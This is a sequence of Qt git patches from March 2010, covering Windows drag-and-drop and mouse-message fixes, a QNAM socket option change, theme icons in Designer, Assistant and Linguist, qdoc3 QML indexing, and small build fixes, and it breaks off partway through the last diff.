35c3fa47082d6d580a9f1cfe0543e2d443f00d95 Mon Sep 17 00:00:00 2001 From: Prasanth Ullattil Date: Mon, 22 Mar 2010 17:16:01 +0100 Subject: Drag & drop operations wont end while using Remote Desktop sessions The button state passed in the OleDropSource::QueryContinueDrag() contains wrong information. We need to query the state of individual buttons like we do in Windows CE. Task-number: QTBUG-6604 Reviewed-by: Denis --- src/gui/kernel/qdnd_win.cpp | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/src/gui/kernel/qdnd_win.cpp b/src/gui/kernel/qdnd_win.cpp index 0742a93..a164c2a 100644 --- a/src/gui/kernel/qdnd_win.cpp +++ b/src/gui/kernel/qdnd_win.cpp @@ -524,18 +524,14 @@ QOleDropSource::QueryContinueDrag(BOOL fEscapePressed, DWORD grfKeyState) if (fEscapePressed) { return ResultFromScode(DRAGDROP_S_CANCEL); - } else if (!(grfKeyState & (MK_LBUTTON|MK_MBUTTON|MK_RBUTTON))) { + } else if ((GetAsyncKeyState(VK_LBUTTON) == 0) + && (GetAsyncKeyState(VK_MBUTTON) == 0) + && (GetAsyncKeyState(VK_RBUTTON) == 0)) { + // grfKeyState is broken on CE & some Windows XP versions, + // therefore we need to check the state manually return ResultFromScode(DRAGDROP_S_DROP); } else { -#if defined(Q_OS_WINCE) - // grfKeyState is broken on CE, therefore need to check - // the state manually - if ((GetAsyncKeyState(VK_LBUTTON) == 0) && - (GetAsyncKeyState(VK_MBUTTON) == 0) && - (GetAsyncKeyState(VK_RBUTTON) == 0)) { - return ResultFromScode(DRAGDROP_S_DROP); - } -#else +#if !defined(Q_OS_WINCE) if (currentButtons == Qt::NoButton) { currentButtons = keystate_to_mousebutton(grfKeyState); } else { -- cgit v0.12 From c1b524dd8b7a7207d10c33b454519d717349ac6c Mon Sep 17 00:00:00 2001 From: Markus Goetz Date: Tue, 23 Mar 2010 09:37:27 +0100 Subject: QNAM HTTP: Do not use TCP_NODELAY Reviewed-by: thiago --- src/network/access/qhttpnetworkconnectionchannel.cpp | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/src/network/access/qhttpnetworkconnectionchannel.cpp b/src/network/access/qhttpnetworkconnectionchannel.cpp index 1d8224c..82bc14f 100644 --- a/src/network/access/qhttpnetworkconnectionchannel.cpp +++ b/src/network/access/qhttpnetworkconnectionchannel.cpp @@ -865,7 +865,14 @@ void QHttpNetworkConnectionChannel::_q_disconnected() void QHttpNetworkConnectionChannel::_q_connected() { // improve performance since we get the request sent by the kernel ASAP - socket->setSocketOption(QAbstractSocket::LowDelayOption, 1); + //socket->setSocketOption(QAbstractSocket::LowDelayOption, 1); + // We have this commented out now. It did not have the effect we wanted. If we want to + // do this properly, Qt has to combine multiple HTTP requests into one buffer + // and send this to the kernel in one syscall and then the kernel immediately sends + // it as one TCP packet because of TCP_NODELAY. + // However, this code is currently not in Qt, so we rely on the kernel combining + // the requests into one TCP packet. + // not sure yet if it helps, but it makes sense socket->setSocketOption(QAbstractSocket::KeepAliveOption, 1); -- cgit v0.12 From 0b312175febbf2fff73da59736c45c2da02d275d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Thorbj=C3=B8rn=20Lindeijer?= Date: Tue, 23 Mar 2010 12:12:26 +0100 Subject: Use more standard icons for standard actions in Designer Added standard theme icons for Save As, Print, Close, Quit, Recent Files and Clear Recent Files. Also slighly optimize non-X11 platforms by not calling QIcon::fromTheme at all. Reviewed-by: Jens Bache-Wiig --- tools/designer/src/components/formeditor/formwindowmanager.cpp | 4 +++- tools/designer/src/designer/qdesigner_actions.cpp | 10 ++++++++-- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/tools/designer/src/components/formeditor/formwindowmanager.cpp b/tools/designer/src/components/formeditor/formwindowmanager.cpp index 88b4ac5..ce809ff 100644 --- a/tools/designer/src/components/formeditor/formwindowmanager.cpp +++ b/tools/designer/src/components/formeditor/formwindowmanager.cpp @@ -523,10 +523,11 @@ void FormWindowManager::setupActions() connect(m_actionShowFormWindowSettingsDialog, SIGNAL(triggered()), this, SLOT(slotActionShowFormWindowSettingsDialog())); m_actionShowFormWindowSettingsDialog->setEnabled(false); - +#ifdef Q_WS_X11 m_actionCopy->setIcon(QIcon::fromTheme("edit-copy", m_actionCopy->icon())); m_actionCut->setIcon(QIcon::fromTheme("edit-cut", m_actionCut->icon())); m_actionPaste->setIcon(QIcon::fromTheme("edit-paste", m_actionPaste->icon())); + m_actionDelete->setIcon(QIcon::fromTheme("edit-delete", m_actionDelete->icon())); // These do not currently exist, but will allow theme authors to fill in the gaps m_actionBreakLayout->setIcon(QIcon::fromTheme("designer-break-layout", m_actionBreakLayout->icon())); @@ -536,6 +537,7 @@ void FormWindowManager::setupActions() m_actionSplitHorizontal->setIcon(QIcon::fromTheme("designer-split-horizontal", m_actionSplitHorizontal->icon())); m_actionSplitVertical->setIcon(QIcon::fromTheme("designer-split-vertical", m_actionSplitVertical->icon())); m_actionAdjustSize->setIcon(QIcon::fromTheme("designer-adjust-size", m_actionAdjustSize->icon())); +#endif } void FormWindowManager::slotActionCutActivated() diff --git a/tools/designer/src/designer/qdesigner_actions.cpp b/tools/designer/src/designer/qdesigner_actions.cpp index 887ba98..6776351 100644 --- a/tools/designer/src/designer/qdesigner_actions.cpp +++ b/tools/designer/src/designer/qdesigner_actions.cpp @@ -200,9 +200,15 @@ QDesignerActions::QDesignerActions(QDesignerWorkbench *workbench) #endif m_previewManager(0) { +#ifdef Q_WS_X11 m_newFormAction->setIcon(QIcon::fromTheme("document-new", m_newFormAction->icon())); m_openFormAction->setIcon(QIcon::fromTheme("document-open", m_openFormAction->icon())); m_saveFormAction->setIcon(QIcon::fromTheme("document-save", m_saveFormAction->icon())); + m_saveFormAsAction->setIcon(QIcon::fromTheme("document-save-as", m_saveFormAsAction->icon())); + m_printPreviewAction->setIcon(QIcon::fromTheme("document-print", m_printPreviewAction->icon())); + m_closeFormAction->setIcon(QIcon::fromTheme("window-close", m_closeFormAction->icon())); + m_quitAction->setIcon(QIcon::fromTheme("application-exit", m_quitAction->icon())); +#endif Q_ASSERT(m_core != 0); qdesigner_internal::QDesignerFormWindowManager *ifwm = qobject_cast(m_core->formWindowManager()); @@ -490,13 +496,13 @@ QAction *QDesignerActions::createRecentFilesMenu() } updateRecentFileActions(); menu->addSeparator(); - act = new QAction(tr("Clear &Menu"), this); + act = new QAction(QIcon::fromTheme("edit-clear"), tr("Clear &Menu"), this); act->setObjectName(QLatin1String("__qt_action_clear_menu_")); connect(act, SIGNAL(triggered()), this, SLOT(clearRecentFiles())); m_recentFilesActions->addAction(act); menu->addAction(act); - act = new QAction(tr("&Recent Forms"), this); + act = new QAction(QIcon::fromTheme("document-open-recent"), tr("&Recent Forms"), this); act->setMenu(menu); return act; } -- cgit v0.12 From a749609f6f00978259dc7b50f020e404eff0a2b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Thorbj=C3=B8rn=20Lindeijer?= Date: Tue, 23 Mar 2010 12:40:39 +0100 Subject: Use more standard icons from the theme in Assistant Added standard theme icons for New Tab, Close, Page Setup, Print Preview, Quit, New Bookmark and About actions. Also adjusted the File menu to look a bit more standard (moved New Tab action to the top). Reviewed-by: Jens Bache-Wiig --- tools/assistant/tools/assistant/bookmarkmanager.cpp | 5 +++-- tools/assistant/tools/assistant/mainwindow.cpp | 16 ++++++++++++---- 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/tools/assistant/tools/assistant/bookmarkmanager.cpp b/tools/assistant/tools/assistant/bookmarkmanager.cpp index b9a1b0e..4bc7027 100644 --- a/tools/assistant/tools/assistant/bookmarkmanager.cpp +++ b/tools/assistant/tools/assistant/bookmarkmanager.cpp @@ -363,8 +363,9 @@ void BookmarkManager::refeshBookmarkMenu() bookmarkMenu->addAction(tr("Manage Bookmarks..."), this, SLOT(manageBookmarks())); - bookmarkMenu->addAction(tr("Add Bookmark..."), this, SLOT(addBookmark()), - QKeySequence(tr("Ctrl+D"))); + bookmarkMenu->addAction(QIcon::fromTheme("bookmark-new"), + tr("Add Bookmark..."), this, SLOT(addBookmark()), + QKeySequence(tr("Ctrl+D"))); bookmarkMenu->addSeparator(); const QModelIndex &root = bookmarkModel->index(0, 0, QModelIndex()); diff --git a/tools/assistant/tools/assistant/mainwindow.cpp b/tools/assistant/tools/assistant/mainwindow.cpp index c403aa7..913e342 100644 --- a/tools/assistant/tools/assistant/mainwindow.cpp +++ b/tools/assistant/tools/assistant/mainwindow.cpp @@ -409,6 +409,11 @@ void MainWindow::setupActions() QMenu *menu = menuBar()->addMenu(tr("&File")); + m_newTabAction = menu->addAction(tr("New &Tab"), m_centralWidget, SLOT(newTab())); + m_newTabAction->setShortcut(QKeySequence::AddTab); + + menu->addSeparator(); + m_pageSetupAction = menu->addAction(tr("Page Set&up..."), m_centralWidget, SLOT(pageSetup())); m_printPreviewAction = menu->addAction(tr("Print Preview..."), m_centralWidget, @@ -421,14 +426,12 @@ void MainWindow::setupActions() menu->addSeparator(); - m_newTabAction = menu->addAction(tr("New &Tab"), m_centralWidget, SLOT(newTab())); - m_newTabAction->setShortcut(QKeySequence::AddTab); - m_closeTabAction = menu->addAction(tr("&Close Tab"), m_centralWidget, SLOT(closeTab())); m_closeTabAction->setShortcuts(QKeySequence::Close); - QAction *tmp = menu->addAction(tr("&Quit"), this, SLOT(close())); + QAction *tmp = menu->addAction(QIcon::fromTheme("application-exit"), + tr("&Quit"), this, SLOT(close())); tmp->setMenuRole(QAction::QuitRole); #ifdef Q_OS_WIN tmp->setShortcut(QKeySequence(tr("CTRL+Q"))); @@ -532,6 +535,8 @@ void MainWindow::setupActions() m_aboutAction->setMenuRole(QAction::AboutRole); #ifdef Q_WS_X11 + m_newTabAction->setIcon(QIcon::fromTheme("tab-new", m_newTabAction->icon())); + m_closeTabAction->setIcon(QIcon::fromTheme("window-close", m_closeTabAction->icon())); m_backAction->setIcon(QIcon::fromTheme("go-previous" , m_backAction->icon())); m_nextAction->setIcon(QIcon::fromTheme("go-next" , m_nextAction->icon())); m_zoomInAction->setIcon(QIcon::fromTheme("zoom-in" , m_zoomInAction->icon())); @@ -541,7 +546,10 @@ void MainWindow::setupActions() m_copyAction->setIcon(QIcon::fromTheme("edit-copy" , m_copyAction->icon())); m_findAction->setIcon(QIcon::fromTheme("edit-find" , m_findAction->icon())); m_homeAction->setIcon(QIcon::fromTheme("go-home" , m_homeAction->icon())); + m_pageSetupAction->setIcon(QIcon::fromTheme("document-page-setup", m_pageSetupAction->icon())); + m_printPreviewAction->setIcon(QIcon::fromTheme("document-print-preview", m_printPreviewAction->icon())); m_printAction->setIcon(QIcon::fromTheme("document-print" , m_printAction->icon())); + m_aboutAction->setIcon(QIcon::fromTheme("help-about", m_aboutAction->icon())); #endif QToolBar *navigationBar = addToolBar(tr("Navigation Toolbar")); -- cgit v0.12 From c4536ce25a9fdfe6a9b447f893796c1262e06df6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Thorbj=C3=B8rn=20Lindeijer?= Date: Tue, 23 Mar 2010 13:32:15 +0100 Subject: Use standard theme icons in Linguist where possible Reviewed-by: Jens Bache-Wiig --- tools/linguist/linguist/mainwindow.cpp | 44 +++++++++++++++++++++++++--------- 1 file changed, 33 insertions(+), 11 deletions(-) diff --git a/tools/linguist/linguist/mainwindow.cpp b/tools/linguist/linguist/mainwindow.cpp index 321fe8c..7d73596 100644 --- a/tools/linguist/linguist/mainwindow.cpp +++ b/tools/linguist/linguist/mainwindow.cpp @@ -1810,28 +1810,50 @@ QString MainWindow::friendlyString(const QString& str) return f.simplified(); } +static inline void setThemeIcon(QAction *action, const char *name, const char *fallback) +{ + const QIcon fallbackIcon(MainWindow::resourcePrefix() + QLatin1String(fallback)); +#ifdef Q_WS_X11 + action->setIcon(QIcon::fromTheme(QLatin1String(name), fallbackIcon)); +#else + Q_UNUSED(name) + action->setIcon(fallbackIcon); +#endif +} + void MainWindow::setupMenuBar() { + // There are no fallback icons for these +#ifdef Q_WS_X11 + m_ui.menuRecentlyOpenedFiles->setIcon(QIcon::fromTheme(QLatin1String("document-open-recent"))); + m_ui.actionCloseAll->setIcon(QIcon::fromTheme(QLatin1String("window-close"))); + m_ui.actionExit->setIcon(QIcon::fromTheme(QLatin1String("application-exit"))); + m_ui.actionSelectAll->setIcon(QIcon::fromTheme(QLatin1String("edit-select-all"))); +#endif + + // Prefer theme icons when available for these actions + setThemeIcon(m_ui.actionOpen, "document-open", "/fileopen.png"); + setThemeIcon(m_ui.actionOpenAux, "document-open", "/fileopen.png"); + setThemeIcon(m_ui.actionSave, "document-save", "/filesave.png"); + setThemeIcon(m_ui.actionSaveAll, "document-save", "/filesave.png"); + setThemeIcon(m_ui.actionPrint, "document-print", "/print.png"); + setThemeIcon(m_ui.actionRedo, "edit-redo", "/redo.png"); + setThemeIcon(m_ui.actionUndo, "edit-undo", "/undo.png"); + setThemeIcon(m_ui.actionCut, "edit-cut", "/editcut.png"); + setThemeIcon(m_ui.actionCopy, "edit-copy", "/editcopy.png"); + setThemeIcon(m_ui.actionPaste, "edit-paste", "/editpaste.png"); + setThemeIcon(m_ui.actionFind, "edit-find", "/searchfind.png"); + + // No well defined theme icons for these actions m_ui.actionAccelerators->setIcon(QIcon(resourcePrefix() + QLatin1String("/accelerator.png"))); m_ui.actionOpenPhraseBook->setIcon(QIcon(resourcePrefix() + QLatin1String("/book.png"))); m_ui.actionDoneAndNext->setIcon(QIcon(resourcePrefix() + QLatin1String("/doneandnext.png"))); - m_ui.actionCopy->setIcon(QIcon(resourcePrefix() + QLatin1String("/editcopy.png"))); - m_ui.actionCut->setIcon(QIcon(resourcePrefix() + QLatin1String("/editcut.png"))); - m_ui.actionPaste->setIcon(QIcon(resourcePrefix() + QLatin1String("/editpaste.png"))); - m_ui.actionOpen->setIcon(QIcon(resourcePrefix() + QLatin1String("/fileopen.png"))); - m_ui.actionOpenAux->setIcon(QIcon(resourcePrefix() + QLatin1String("/fileopen.png"))); - m_ui.actionSaveAll->setIcon(QIcon(resourcePrefix() + QLatin1String("/filesave.png"))); - m_ui.actionSave->setIcon(QIcon(resourcePrefix() + QLatin1String("/filesave.png"))); m_ui.actionNext->setIcon(QIcon(resourcePrefix() + QLatin1String("/next.png"))); m_ui.actionNextUnfinished->setIcon(QIcon(resourcePrefix() + QLatin1String("/nextunfinished.png"))); m_ui.actionPhraseMatches->setIcon(QIcon(resourcePrefix() + QLatin1String("/phrase.png"))); m_ui.actionEndingPunctuation->setIcon(QIcon(resourcePrefix() + QLatin1String("/punctuation.png"))); m_ui.actionPrev->setIcon(QIcon(resourcePrefix() + QLatin1String("/prev.png"))); m_ui.actionPrevUnfinished->setIcon(QIcon(resourcePrefix() + QLatin1String("/prevunfinished.png"))); - m_ui.actionPrint->setIcon(QIcon(resourcePrefix() + QLatin1String("/print.png"))); - m_ui.actionRedo->setIcon(QIcon(resourcePrefix() + QLatin1String("/redo.png"))); - m_ui.actionFind->setIcon(QIcon(resourcePrefix() + QLatin1String("/searchfind.png"))); - m_ui.actionUndo->setIcon(QIcon(resourcePrefix() + QLatin1String("/undo.png"))); m_ui.actionPlaceMarkerMatches->setIcon(QIcon(resourcePrefix() + QLatin1String("/validateplacemarkers.png"))); m_ui.actionWhatsThis->setIcon(QIcon(resourcePrefix() + QLatin1String("/whatsthis.png"))); -- cgit v0.12 From a50519ba225459a9d21209fe50a3a8fbd8081a19 Mon Sep 17 00:00:00 2001 From: Alessandro Portale Date: Tue, 23 Mar 2010 14:17:29 +0100 Subject: Compile fix Commit 47902b7587d66c0941bacf08b31b8caae264f09a was missing one enum rename in qs60style_s60.cpp Reviewed-by: TrustMe --- src/gui/styles/qs60style_s60.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/gui/styles/qs60style_s60.cpp b/src/gui/styles/qs60style_s60.cpp index 0f014c1..75ed0c7 100644 --- a/src/gui/styles/qs60style_s60.cpp +++ b/src/gui/styles/qs60style_s60.cpp @@ -978,8 +978,8 @@ void QS60StyleModeSpecifics::frameIdAndCenterId(QS60StylePrivate::SkinFrameEleme TRect QS60StyleModeSpecifics::innerRectFromElement(QS60StylePrivate::SkinFrameElements frameElement, const TRect &outerRect) { - TInt widthShrink = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth); - TInt heightShrink = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerHeight); + TInt widthShrink = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth); + TInt heightShrink = QS60StylePrivate::pixelMetric(PM_FrameCornerHeight); switch(frameElement) { case QS60StylePrivate::SF_PanelBackground: // panel should have slightly slimmer border to enable thin line of background graphics between closest component -- cgit v0.12 From 6801a97671f64ef30ab312b38d16abc964ad6ac5 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 23 Mar 2010 14:26:48 +0100 Subject: Minehunt readme was missing a step. --- demos/declarative/minehunt/README | 2 ++ 1 file changed, 2 insertions(+) diff --git a/demos/declarative/minehunt/README b/demos/declarative/minehunt/README index 7379dcf..1b6cf81 100644 --- a/demos/declarative/minehunt/README +++ b/demos/declarative/minehunt/README @@ -1,3 +1,5 @@ +To compile the C++ part, do 'qmake && make'. Minehunt will not run properly if the C++ plugin is not compiled. + To run, simply load the minehunt.qml file with the qml runtime. Note that on X11, this demo has problems with the native graphicssystem. If you are using the X11 window system, please pass -graphicssystem raster to the qml binary. -- cgit v0.12 From f44f210ca4611fbc30afa849058d4286e1a1284c Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 23 Mar 2010 14:33:15 +0100 Subject: Possible fix for missing QML properties in the qt.qhp file. Also adds more QML stuff to qt.index. Task: QTBUG-7724 --- tools/qdoc3/helpprojectwriter.cpp | 61 +++++++++++++++++++++++------- tools/qdoc3/htmlgenerator.cpp | 2 + tools/qdoc3/node.h | 8 ++++ tools/qdoc3/tree.cpp | 78 ++++++++++++++++++++++++++++++++++----- 4 files changed, 126 insertions(+), 23 deletions(-) diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp index 71810e4..edba097 100644 --- a/tools/qdoc3/helpprojectwriter.cpp +++ b/tools/qdoc3/helpprojectwriter.cpp @@ -41,6 +41,7 @@ #include #include +#include #include "atom.h" #include "helpprojectwriter.h" @@ -116,6 +117,11 @@ void HelpProjectWriter::readSelectors(SubProject &subproject, const QStringList typeHash["property"] = Node::Property; typeHash["variable"] = Node::Variable; typeHash["target"] = Node::Target; +#ifdef QDOC_QML + typeHash["qmlproperty"] = Node::QmlProperty; + typeHash["qmlsignal"] = Node::QmlSignal; + typeHash["qmlmethod"] = Node::QmlMethod; +#endif QHash subTypeHash; subTypeHash["example"] = Node::Example; @@ -127,6 +133,8 @@ void HelpProjectWriter::readSelectors(SubProject &subproject, const QStringList subTypeHash["externalpage"] = Node::ExternalPage; #ifdef QDOC_QML subTypeHash["qmlclass"] = Node::QmlClass; + subTypeHash["qmlpropertygroup"] = Node::QmlPropertyGroup; + subTypeHash["qmlbasictype"] = Node::QmlBasicType; #endif QSet allSubTypes = QSet::fromList(subTypeHash.values()); @@ -176,7 +184,13 @@ QStringList HelpProjectWriter::keywordDetails(const Node *node) const { QStringList details; - if (node->parent() && !node->parent()->name().isEmpty()) { + if (node->type() == Node::QmlProperty) { + // "name" + details << node->name(); + // "id" + details << node->parent()->parent()->name()+"::"+node->name(); + } + else if (node->parent() && !node->parent()->name().isEmpty()) { // "name" if (node->type() == Node::Enum || node->type() == Node::Typedef) details << node->parent()->name()+"::"+node->name(); @@ -184,29 +198,29 @@ QStringList HelpProjectWriter::keywordDetails(const Node *node) const details << node->name(); // "id" details << node->parent()->name()+"::"+node->name(); - } else if (node->type() == Node::Fake) { + } + else if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); -#ifdef QDOC_QML if (fake->subType() == Node::QmlClass) { details << (QmlClassNode::qmlOnly ? fake->name() : fake->fullTitle()); details << "QML." + fake->name(); - } else -#endif - { + } + else { details << fake->fullTitle(); details << fake->fullTitle(); } - } else { + } + else { details << node->name(); details << node->name(); } details << tree->fullDocumentLocation(node); - return details; } bool HelpProjectWriter::generateSection(HelpProject &project, - QXmlStreamWriter & /* writer */, const Node *node) + QXmlStreamWriter & /* writer */, + const Node *node) { if (!node->url().isEmpty()) return false; @@ -225,9 +239,10 @@ bool HelpProjectWriter::generateSection(HelpProject &project, if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); objName = fake->fullTitle(); - } else + } + else objName = tree->fullDocumentName(node); - + // Only add nodes to the set for each subproject if they match a selector. // Those that match will be listed in the table of contents. @@ -289,6 +304,9 @@ bool HelpProjectWriter::generateSection(HelpProject &project, break; case Node::Property: + case Node::QmlProperty: + case Node::QmlSignal: + case Node::QmlMethod: project.keywords.append(keywordDetails(node)); break; @@ -399,7 +417,7 @@ void HelpProjectWriter::generateSections(HelpProject &project, { if (!generateSection(project, writer, node)) return; - + if (node->isInnerNode()) { const InnerNode *inner = static_cast(node); @@ -408,8 +426,23 @@ void HelpProjectWriter::generateSections(HelpProject &project, foreach (const Node *node, inner->childNodes()) { if (node->access() == Node::Private) continue; - if (node->type() == Node::Fake) - childMap[static_cast(node)->fullTitle()] = node; + if (node->type() == Node::Fake) { + /* + Don't visit QML property group nodes, + but visit their children, which are all + QML property nodes. + */ + if (node->subType() == Node::QmlPropertyGroup) { + const InnerNode* inner = static_cast(node); + foreach (const Node* n, inner->childNodes()) { + if (n->access() == Node::Private) + continue; + childMap[tree->fullDocumentName(n)] = n; + } + } + else + childMap[static_cast(node)->fullTitle()] = node; + } else { if (node->type() == Node::Function) { const FunctionNode *funcNode = static_cast(node); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index c1e3678..cd3da3e 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -405,7 +405,9 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) generateIndex(fileBase, projectUrl, projectDescription); generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker); + //qDebug() << "start helpProjectWriter->generate(myTree)"; helpProjectWriter->generate(myTree); + //qDebug() << "end helpProjectWriter->generate(myTree)"; } void HtmlGenerator::startText(const Node * /* relative */, diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 1017813..215a7ae 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -163,6 +163,7 @@ class Node virtual bool isInnerNode() const = 0; virtual bool isReimp() const { return false; } virtual bool isFunction() const { return false; } + virtual bool isQmlNode() const { return false; } Type type() const { return typ; } virtual SubType subType() const { return NoSubType; } InnerNode *parent() const { return par; } @@ -380,6 +381,7 @@ class QmlClassNode : public FakeNode const QString& name, const ClassNode* cn); virtual ~QmlClassNode(); + virtual bool isQmlNode() const { return true; } const ClassNode* classNode() const { return cnode; } virtual QString fileBase() const; @@ -401,6 +403,7 @@ class QmlBasicTypeNode : public FakeNode QmlBasicTypeNode(InnerNode *parent, const QString& name); virtual ~QmlBasicTypeNode() { } + virtual bool isQmlNode() const { return true; } }; class QmlPropGroupNode : public FakeNode @@ -410,6 +413,7 @@ class QmlPropGroupNode : public FakeNode const QString& name, bool attached); virtual ~QmlPropGroupNode() { } + virtual bool isQmlNode() const { return true; } const QString& element() const { return parent()->name(); } void setDefault() { isdefault = true; } @@ -441,6 +445,7 @@ class QmlPropertyNode : public LeafNode bool isDesignable() const { return fromTrool(des,false); } bool isWritable() const { return fromTrool(wri,true); } bool isAttached() const { return att; } + virtual bool isQmlNode() const { return true; } const QString& element() const { return static_cast(parent())->element(); } @@ -609,6 +614,9 @@ class FunctionNode : public LeafNode QString signature(bool values = false) const; const QString& element() const { return parent()->name(); } bool isAttached() const { return att; } + virtual bool isQmlNode() const { + return ((type() == QmlSignal) || (type() == QmlMethod)); + } void debug() const; diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 7dcc8c3..31bbf54 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -1121,6 +1121,15 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, case Node::Target: nodeName = "target"; break; + case Node::QmlProperty: + nodeName = "qmlproperty"; + break; + case Node::QmlSignal: + nodeName = "qmlsignal"; + break; + case Node::QmlMethod: + nodeName = "qmlmethod"; + break; default: return false; } @@ -1210,7 +1219,7 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, if (fullName != objName) writer.writeAttribute("fullname", fullName); writer.writeAttribute("href", fullDocumentLocation(node)); - if (node->type() != Node::Fake) + if ((node->type() != Node::Fake) && (!node->isQmlNode())) writer.writeAttribute("location", node->location().fileName()); switch (node->type()) { @@ -1265,6 +1274,12 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, case Node::ExternalPage: writer.writeAttribute("subtype", "externalpage"); break; + case Node::QmlClass: + writer.writeAttribute("subtype", "qmlclass"); + break; + case Node::QmlBasicType: + writer.writeAttribute("subtype", "qmlbasictype"); + break; default: break; } @@ -1337,6 +1352,12 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, } break; + case Node::QmlProperty: + { + const QmlPropertyNode *qpn = static_cast(node); + writer.writeAttribute("type", qpn->dataType()); + } + break; case Node::Property: { const PropertyNode *propertyNode = static_cast(node); @@ -1524,9 +1545,22 @@ void Tree::generateIndexSections(QXmlStreamWriter &writer, if (node->isInnerNode()) { const InnerNode *inner = static_cast(node); - // Recurse to write an element for this child node and all its children. - foreach (const Node *child, inner->childNodes()) - generateIndexSections(writer, child, generateInternalNodes); + foreach (const Node *child, inner->childNodes()) { + /* + Don't generate anything for a QML property group node. + It is just a place holder for a collection of QML property + nodes. Recurse to its children, which are the QML property + nodes. + */ + if (child->subType() == Node::QmlPropertyGroup) { + const InnerNode *pgn = static_cast(child); + foreach (const Node *c, pgn->childNodes()) { + generateIndexSections(writer, c, generateInternalNodes); + } + } + else + generateIndexSections(writer, child, generateInternalNodes); + } /* foreach (const Node *child, inner->relatedNodes()) { @@ -1931,9 +1965,23 @@ QString Tree::fullDocumentLocation(const Node *node) const if ((parentNode = node->relates())) parentName = fullDocumentLocation(node->relates()); - else if ((parentNode = node->parent())) - parentName = fullDocumentLocation(node->parent()); - + else if ((parentNode = node->parent())) { + if (parentNode->subType() == Node::QmlPropertyGroup) { + parentNode = parentNode->parent(); + parentName = "qml-" + parentNode->fileBase() + ".html"; + } + else + parentName = fullDocumentLocation(node->parent()); + } +#if 0 + if (node->type() == Node::QmlProperty) { + qDebug() << "Node::QmlProperty:" << node->name() + << "parentName:" << parentName; + if (parentNode) + qDebug() << "PARENT NODE" << parentNode->type() + << parentNode->subType() << parentNode->name(); + } +#endif switch (node->type()) { case Node::Class: case Node::Namespace: @@ -1980,6 +2028,15 @@ QString Tree::fullDocumentLocation(const Node *node) const case Node::Property: anchorRef = "#" + node->name() + "-prop"; break; + case Node::QmlProperty: + anchorRef = "#" + node->name() + "-prop"; + break; + case Node::QmlSignal: + anchorRef = "#" + node->name() + "-signal"; + break; + case Node::QmlMethod: + anchorRef = "#" + node->name() + "-method"; + break; case Node::Variable: anchorRef = "#" + node->name() + "-var"; break; @@ -2019,6 +2076,8 @@ QString Tree::fullDocumentLocation(const Node *node) const } /*! + Construct the full document name for \a node and return the + name. */ QString Tree::fullDocumentName(const Node *node) const { @@ -2029,10 +2088,11 @@ QString Tree::fullDocumentName(const Node *node) const const Node *n = node; do { - if (!n->name().isEmpty()) + if (!n->name().isEmpty() && + ((n->type() != Node::Fake) || (n->subType() != Node::QmlPropertyGroup))) pieces.insert(0, n->name()); - if (n->type() == Node::Fake) + if ((n->type() == Node::Fake) && (n->subType() != Node::QmlPropertyGroup)) break; // Examine the parent node if one exists. -- cgit v0.12 From 66813ad3dd429c4a8d58a2b4f8b79d14b8af4356 Mon Sep 17 00:00:00 2001 From: Gareth Stockwell Date: Tue, 23 Mar 2010 13:37:23 +0000 Subject: Added Symbian UserEnvironment capability to audioinput example Symbian applications which use QAudioInput must have this Platform Security capability. Without it, the Symbian audio subsystem will not allow the application to record audio. Reviewed-by: trustme --- examples/multimedia/audioinput/audioinput.pro | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/multimedia/audioinput/audioinput.pro b/examples/multimedia/audioinput/audioinput.pro index a54d452..6a1c79d 100644 --- a/examples/multimedia/audioinput/audioinput.pro +++ b/examples/multimedia/audioinput/audioinput.pro @@ -12,5 +12,6 @@ INSTALLS += target sources symbian { TARGET.UID3 = 0xA000D7BF + TARGET.CAPABILITY += UserEnvironment include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri) } -- cgit v0.12 From 3fbedcd085b3e89e3646bf49264001ee216c5852 Mon Sep 17 00:00:00 2001 From: Prasanth Ullattil Date: Tue, 23 Mar 2010 14:37:00 +0100 Subject: After showing modal windows, WM_LBUTTONUP for double click is ignored. We should not ignore WM_xBUTTONUP messages after WM_xBUTTONDBLCLK. Treat these messages like WM_xBUTTONDOWN messages. Task-number: QTBUG-7172 Reviewed-by: Thierry --- src/gui/kernel/qapplication_win.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/gui/kernel/qapplication_win.cpp b/src/gui/kernel/qapplication_win.cpp index ae9b34c..1a649ea 100644 --- a/src/gui/kernel/qapplication_win.cpp +++ b/src/gui/kernel/qapplication_win.cpp @@ -1578,6 +1578,10 @@ extern "C" LRESULT QT_WIN_CALLBACK QtWndProc(HWND hwnd, UINT message, WPARAM wPa case WM_MBUTTONDOWN: case WM_RBUTTONDOWN: case WM_XBUTTONDOWN: + case WM_LBUTTONDBLCLK: + case 